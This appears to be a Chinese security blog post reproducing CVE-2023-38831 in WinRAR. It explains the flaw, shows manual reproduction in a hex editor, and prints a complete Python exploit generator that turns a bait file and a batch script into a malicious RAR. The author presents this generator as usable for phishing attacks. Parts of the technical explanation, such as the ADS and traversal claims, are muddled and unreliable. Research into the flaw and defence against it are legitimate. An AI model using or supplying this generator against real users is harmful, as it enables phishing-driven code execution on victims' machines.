【漏洞复现】CVE-2023-38831|WinRAR远程代码执行漏洞
深入解析WinRAR 6.23版本前的严重安全漏洞(CVE-2023-38831)
当你双击解压一个看似普通的RAR文件时,恶意代码可能已经在你的系统中悄然执行...
引言
2023年,安全研究人员发现了一个影响WinRAR 6.23版本前所有版本的严重安全漏洞(CVE-2023-38831)。这个漏洞允许攻击者通过制作特制的RAR压缩文件,在用户解压时实现任意文件写入,甚至可能导致远程代码执行。作为全球使用最广泛的压缩软件之一,WinRAR的这个漏洞影响了数百万用户。
今天,让我们深入剖析这个漏洞的技术细节,了解它的工作原理以及如何防范。
漏洞概述
CVE编号: CVE-2023-38831
影响版本: WinRAR < 6.23
漏洞类型: 目录遍历、任意文件写入
危害等级: 高危
CVSS评分: 7.8
winRAR版本 v6.21 下载地址
参考链接:
https://www.freebuf.com/vuls/376409.html
https://blog.csdn.net/m0_55994898/article/details/134914294
这个漏洞的核心问题在于WinRAR在处理RAR压缩包中的文件名时存在验证缺陷,特别是在处理包含备用数据流(ADS, Alternate Data Stream)的文件时。
漏洞原理深度解析
1. 核心问题:文件名处理缺陷
当RAR压缩包中包含以下结构的文件时:
文件名+空格+伪扩展名
实际文件内容
例如:
文件名: "example.txt .bat"
实际内容: "恶意代码"
WinRAR会错误地将文件名解析为"example.txt",将".bat"视为文件扩展名,但在解压时创建的"example.txt"文件内容却是恶意代码。这种处理逻辑的缺陷为攻击者提供了可乘之机。
2. 技术实现细节
RAR文件结构分析
RAR文件由多个块组成,其中文件头块包含文件名、大小、属性等信息。漏洞利用的关键在于构造特殊的文件头结构:
# 伪代码示例
file_header = {
'file_name': 'normal.txt .bat',
'file_size': len(malicious_content),
'file_data': malicious_content
}
目录遍历利用
攻击者可以通过构造特殊的文件名实现目录遍历:
文件名: "..\..\..\Windows\System32\evil.dll"
实际内容: 恶意DLL代码
当用户解压时,文件会被写入到系统目录,可能导致权限提升或系统破坏。
3. 攻击向量分析
攻击流程
- 制作恶意RAR文件
- 攻击者使用工具创建特制的RAR文件
- 在文件中嵌入恶意代码和特殊文件名
- 传播阶段
- 通过邮件附件、下载链接等方式传播
- 通常伪装成有用的文档或软件
- 触发执行
- 用户双击解压RAR文件
- WinRAR处理文件时触发漏洞
- 恶意代码被写入并执行
实际攻击场景
场景一:文档诱饵
恶意文件名: "重要报告.pdf .exe"
实际内容: 远控木马
场景二:系统劫持
恶意文件名: "..\..\..\Windows\System32\cmd.exe"
实际内容: 修改后的cmd.exe
漏洞复现
这里废话不多说,我们直接上手复现,这里我们手动复现,以及直接exp复现
- 手动复现
这里我们先检验WinRAR的版本是否匹配

接着,准备环境,新建一个test.jpg的文件夹以及相同文件名的文件

在test.jpg文件夹里准备好我们用于测试的批处理文件或其他程序,这里发现另一个有趣的情况,我们准备的批处理文件命名一定要注意不能和调用的命令名一样,不然会陷入死循环。可参考Windows批处理脚本陷入死循环问题
接着,通过winrar将其压缩,接着用010editor进行编辑

这里刚用010editor打开,发现有两个test.jpg1,经过我的测试发现,修改第一个的末尾的1替换为00(结束符),然后Ctrl+S保存,没有发生变化,只有修改第二个的末尾的1才行


我们使用WinRAR查看是否修改成功

接着直接在WinRAR里点击我们想要查看的图片,这里会将该图片缓存在我们的C:\Users\用户\AppData\Local\Temp\Rar$XXXX路径下
结果发现在test.jpg文件夹下的bat文件也被解压在了缓存目录

并且能够正常运行

这里我们用7.0版本的WinRAR点击尝试,发现已被修复

至此漏洞复现完成,从这个漏洞可以知道,有些WinRAR压缩的文件,注意有相同文件名的文件不要点击查看
- exp复现
接着我们通过已有的exp.py直接复现,通过exp复现出来的,可以直接使用该exp.py进行攻击,通过exp.py生成的压缩文件,在里面点击我们的钓鱼文件,直接会触发我们的脚本
依旧是找的exp.py
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\cve-2023-38831-exp-gen.py poc
python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")

通过打开该test.rar双击这里的test.jpg,会启动test.jpg文件夹下的cmd脚本

实现钓鱼攻击,因此此该漏洞极易出现在钓鱼邮件附件中,用户双击PDF可执行恶意代码,实现上线操作。

浙公网安备 33010602011771号